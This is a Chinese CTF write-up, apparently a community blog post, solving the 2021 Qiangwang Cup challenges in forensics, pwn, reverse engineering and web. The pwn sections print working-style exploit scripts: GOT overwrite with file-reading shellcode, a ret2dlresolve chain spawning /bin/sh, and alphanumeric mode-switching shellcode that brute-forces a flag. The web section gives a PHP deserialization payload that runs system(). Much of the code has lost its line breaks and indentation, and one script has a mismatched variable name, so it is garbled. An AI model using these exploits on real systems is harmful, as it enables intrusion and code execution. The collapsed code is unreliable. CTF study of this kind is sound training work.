2021 强网杯Wirte Up

白帽子社区

共 12953字,需浏览 26分钟

 ·

2021-06-16 11:23

作者:红色代码 编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




Misc 签到

flag:flag{welcome_to_qwb_s5}

Misc 问卷题

flag:flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}

Misc BlueTeaming

查看进程发现cmd是通过ie调用的

直接查看程序(procdump)可发现

疯狂地改动software但是没有什么关键东西

同时发现了恶意执行的软件

再去查看一下整个进程(memdump)可以找到

注册表项就是

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
flag:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

Misc ISO1995
xways打开看见目录
每个里面都有字符,直接提取出来有字符的十六进制

flag:FLAG{Dir3ct0ry_jYa_n41}

Misc CipherMan

内存题目,AXIOM走一波,发现bitlocker密钥

ftk挂载输入恢复密钥

flag:Wow, you have a great ability. Howdid you solve this? Are you a hacker? Please give me a lesson later.

Misc EzTime
xways直接解析$MFT

修改时间与记录更新时间不一样,很明显是人为修改

flag:{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

Pwn orw
数组负下标覆写GOT为shellcode的地址

打-13的exit或者-25的free皆可

公共靶机,seccomp沙箱限制只能读

用syscall read的中断号读flag即可

EXP:

from pwn import *from LibcSearcher import *#PACKAGE context.log_level='debug'context.arch = 'amd64'context.os = 'linux'p=remote('39.105.131.68',12354) #CONNECT syscall_sh=''' xor rax,raxpush rsppop rspmov r10,rdi xor rsi,rsi mov rdi,r10 mov rax,2 push raxpop raxsyscallmov rdi,raxmov rsi,r10mov rdx,1024mov rax,0push raxpop raxsyscallmov rdi,1 mov rsi,r10 mov rdx,rax mov rax,1push raxpop raxsyscallmov rdi,0 mov rax,60syscallxor rbp,rbp'''anti_steal = 0x12345678#GADGET #ELF def dele(iter):        p.recvuntil('choice>>')        p.sendline('4')        p.recvuntil('index:')        p.sendline(str(iter))def add(iter,size,content):        p.recvuntil('choice>>')        p.sendline('1')        p.recvuntil('index:')        p.sendline(str(iter))        p.recvuntil('size:')        p.sendline(str(size))        p.recvuntil('content:')        p.sendline(content) #FUNC shellcode=asm(syscall_sh)add(0,8,'./flag'+chr(0x00)) add(-25,'c',asm(syscall_sh)) dele(0)sleep(1)log.info(p.recv())p.interactive()


Pwn no_output

利用strcpy的off-by-one的特性,然后利用利用浮点错误的非零触发栈溢出,最后利用ret2dlresolve

EXP:

from pwn import * from LibcSearcher import *#PACKAGE context.log_level='debug'p=process('./test')#CONNECT #GADGET elf = ELF("./test")pwn_rop=ROP(elf) #ELF p.sendline('hello_boy') sleep(0.2) p.sendline(chr(0x00)) p.sendline(str(-2147483648)) p.sendline(str(-1)) dlresolve=Ret2dlresolvePayload(elf,symbol='system',args=['/bin/sh']) pwn_rop.read(0,dlresolve.data_addr) pwn_rop.ret2dlresolve(dlresolve) raw_rop=pwn_rop.chain() p.sendline(flat([{0x4c:raw_rop}])) p.sendline(dlresolve.payload) p.interactive()

复现的时候远程关了,只能本地截图成功getshell

flag:qwb{n0_1nput_1s_great!!!}



Pwn shellcode
跟蓝帽杯那个有点像,之前听过别的师傅说这属于侧信道攻击,也就是爆破flag,不同的是有字节码检 查 
程序开启了seccomp保护,只剩下部分系统调用号,其中fstat刚好对应32位下的open,于是想到在 shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。(这里是难点,retf通过pop ip和pop cs改变程序位数,要注意retf在构造栈时需要按照32位栈来构造) 
字节码可以利用xor这之类的指令进行修改来调用syscall
from pwn import * elf=ELF('./shellcode')
def pwn(io,idx,ch): append_x86 = ''' push ebx pop ebx ''' shellcode_x86 = ''' /*fp = open("flag")*/ mov esp,0x40404140 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax ''' shellcode_flag = ''' push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall ''' if index == 0: shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-3;ret".format(index,ch) else: shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-4;ret".format(index,ch) shellcode_x86 = asm(shellcode_x86) shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux') shellcode = '' append = ''' push rdx pop rdx ''' shellcode_mmap = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 /*set rdi*/ pop rdi push 0x7e /*set rsi*/ pop rsi push 0x40 /*set rdx*/ pop rax xor al,0x47 push rax pop rdx push 0x40 /*set r8*/ pop rax xor al,0x40 push rax pop r8 push rax /*set r9*/ pop r9 /*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x31],cl push 0x5f pop rcx xor byte ptr[rax+0x32],cl push 0x22 /*set rcx*/ pop rcx push 0x40/*set rax*/ pop rax xor al,0x49 ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx pop rax xor al,0x70 ''' shellcode_retfq = ''' push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''' shellcode += shellcode_mmap shellcode += append shellcode += shellcode_read shellcode += append shellcode += shellcode_retfq shellcode += append shellcode = asm(shellcode,arch = 'amd64',os = 'linux') print(hex(len(shellcode))) io.sendline(shellcode) sleep(0.5) io.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)index = 0a=[]while True: for ch in range(0x20,127): #io=process('./chall') io=remote('39.105.137.118',50050) pwn(io,index,ch) start = time.time() try: io.recv(timeout=2) print("".join([chr(i) for i in a])) except: pass end=time.time() io.close() if end-start>1.5: a.append(ch) print("".join([chr(i) for i in a])) break  else: print("".join([chr(i) for i in a])) break index = index + 1print("".join([chr(i) for i in a]))
flag{cdc31bf52a72521c93b690ad1978856d}

Reverse ezmath
简单的算数逆向,将num的值与e的大致倍数关系算出来即可
num=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895 ,\0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\0.00008468431512187874]e=2.718281828459045def calc(ans):temp_mul=int(e//ans)if abs(temp_mul*ans-e)<abs((temp_mul-1)*ans-e):temp_mul-=1return temp_mulfor i in num:print(chr(calc(i)&0xff),end="")print(chr((calc(i)>>8)&0xff),end="")
得到:flag{saam_dim_gei_lei_jam_caa_sin_laa}

Reverse LongTimeAgo
程序有大量的混合运算,非常消耗时间,经过调试sub_403460可得key

其中x_tea和tea的delta被修改,可以通过动调获得。

#include<iostream>#include<windows.h>#include<math.h>using namespace std;//abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-//0.000196void xtea_decrypt(unsigned int* v, unsigned int* key) {  unsigned int v0 = v[0], v1 = v[1], sum = 0;  unsigned int delta = 0x8F3779E9;  sum = delta * 32;  v0 ^= 0xFD;  v1 ^= 0x1FD;  for (int i = 0; i < 32; i++) {    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);    sum -= delta;    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  }  v[0] = v0;  v[1] = v1;}void tea_decrypt(unsigned int* v, unsigned int* key) {  unsigned int v0 = v[0], v1 = v[1], sum = 0xa6a53780;  unsigned int delta = 0x3D3529BC;  v0 ^= 0x3FD;  v1 ^= 0x7FD;  unsigned int k0 = key[0], k1 = key[1], k2 = key[2], k3 = key[3];  for (int i = 0; i < 32; i++) {    v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);    v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);    sum -= delta;  }  v[0] = v0;  v[1] = v1;}int main() {  unsigned int s1[] = {    0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF,    0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537  }  ;  unsigned int key[4];  key[0] = 0xFFFD;  key[1] = 0x1FFFD;  key[2] = 0x3FFFD;  key[3] = 0x7FFFD;  xtea_decrypt(&s1[0], key);  xtea_decrypt(&s1[2], key);  tea_decrypt(&s1[4], key);  tea_decrypt(&s1[6], key);  for (int i = 0; i < 8; i++) {    printf("%X", s1[i]);  }}

Reverse StandOnTheGiants
逻辑隐藏在so里面,我是直接改成zip后缀,在文件里找到so文件,用ida分析,发现输入后会进行native校验,其中编码用到了openssl,RSA加密,加密逻辑很直接,全在Java_com_a_standonthegiants_MainActivity_check函数中。
v3 = a1;v4 = 0;v20 = a3;v5 = (const char * )( * (int(__fastcall * * )(int, int, _DWORD))( * (_DWORD * ) a1 + 676))(a1, a3, 0);v6 = strlen(v5);v7 = (char * ) malloc(2 * v6 + 4);v8 = v7;while(v6 != v4){    v9 = (unsigned __int8) v5[v4];    sub_52318(v8, -1);    v8 += 2;    ++v4;}v10 = sub_5235C();sub_5249C();v25 = sub_5264C(v10);sub_5BB08( & v25, v7);free(v7);v24 = sub_5264C(v10);v23 = sub_5264C(v10);_aeabi_memcpy8(v26, & unk_2C6B0, 209);for(i = 0; i != 209; ++i) v26[i] ^= 0x3D u;sub_5BB08( & v24, v26);_aeabi_memclr8(v26, 209);v12 = 0;v21 = 0;v22 = 0;while(v12 != 6) * ((_BYTE * ) & v21 + v12++) ^= 0x30 u;++BYTE1(v21);++BYTE1(v22);sub_5BB08( & v23, & v21);v21 = 0;v22 = 0;v13 = sub_5264C(v10);sub_529BC(v13);v14 = sub_565A8(v13);v15 = malloc((v14 + 7) / 8);v16 = sub_56EB8(v13, v15);sub_525B8(v10);sub_523E8(v10);v17 = (char * ) calloc(3 u, v16);sub_52044(v15, v17, v16, 0);free(v15);v18 = strcmp("bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"    "+/lmqEysrTdSD+eP+moP+l?+Np/oK=", v17);free(v17);( * (void(__fastcall * * )(int, int,    const char * ))( * (_DWORD * ) v3 + 680))(v3, v20, v5);result = _stack_chk_guard;if(_stack_chk_guard == v27) result = v18;return result;}
另一个加密方式是base64,困难的是base64表中字符不唯一,所以还是要跑
脚本:
#- * -coding: utf - 8 - * -    import base64import gmpy2import string, itertoolstable_1 =    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12'table_2 = string.uppercase + string.lowercase + string.digits + '+/'def main():    n =    0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51p =    33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711q =    64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367assert(n == p * q)e = 0x10001s =    'bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='t = string.maketrans(table_1, table_2)res = itertools.product('+1', repeat = 10)index = [6, 25, 26, 45, 77, 110, 123, 126, 130, 133]index2 = [22, 43, 59, 74]for it1 in res:    res2 = itertools.product('-2', repeat = 4)for it2 in res2:    l = list(s)for i in range(10):    l[index[i]] = it1[i]for i in range(4):    l[index2[i]] = it2[i]c = string.translate(''.join(l), t)d = gmpy2.invert(e, (p - 1) * (q - 1))tmlate = base64.b64decode(c).encode('hex')tmlate = int(tmlate, 16)m = gmpy2.powmod(tmlate, d, n)tmlate = hex(m)[2: ].replace('L', '')if len(tmlate) % 2 != 0:    tmlate = '0' + tmlateif len(hex(m)) < 100:    print(c, hex(m)[2: ].replace('L', '').decode('hex'))exit()if __name__ == '__main__':    main()

Web 赌徒
目录扫描得到 www.zip 压缩包,其中包含了 index.php 文件

根据上面文件内容,构造好 payload,如下:
index.php?hello=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A17%3A%22%00Info%00phonenumber%22%3Bi%3A123123%3Bs%3A7%3A%22promise%22%3Bs%3A4%3A%22I+do%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A33%3A%22syst3m%28%22cat+127.0.0.1%2Fetc%2Fhint%22%29%3B%22%3B%7D
页面反弹:
hiZmxhZ3syMzczN2QwMi0wZjcyLTRkYTUtYjg1Mi01NWYwNzJkZWUzODZ9
第二步:去掉前两个字符 hi,将后面的内容 base64 解码:
https://base64.us/

flag{23737d02-0f72-4da5-b852-55f072dee386}

Web 寻宝
进行代码审计,提交方式为 POST 方式,提交方法为 ppp[number*]进行赋值。构建的 payload 为:ppp[number1]=1235abc&ppp[number2]='5e12'&ppp[number3]=61823470&ppp[number4] =0x00000&ppp[number5]='$$y'

成功绕过得到 KEY1。根据提示,KEY2 隐藏在 docx 文档中,使用 python 脚本进行暴力搜索,成功找到 KEY2。

KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS} 提交 KEY1 和 KEY2 后成功得到 flag。
EXP:
for dir1 in first_dir:    second_dir = []dir1_name = 'C:/Users/Administrator/Downloads/new/five_month' + '/' +    dir1second_dir += listdir(dir1_name)for dir2 in second_dir:    third_dir = [] 22dir2_name = dir1_name + '/' + dir2# C: /Users/Administrator /    Downloads / new / five_month / 5. * /VR_*third_dir += listdir(dir2_name)for name in third_dir:    path_docx = dir2_name + '/' + nameif '.docx' in path_docx:    try:    document = Document(path_docx)for doc in document.paragraphs:    if 'KEY2{' in doc.text:    print('{0}\n{1}'.format(path_docx, docx.text))except:    print(path_docx)else :    pass


往期精彩内容




docker下安全问题总结
【题目讲解】hp-RE_hyperthreading
【题目讲解】tzzzez-433MHz+oldmodem
tzzzez-游园会的集章卡片+十二宫的挑衅




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 50
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报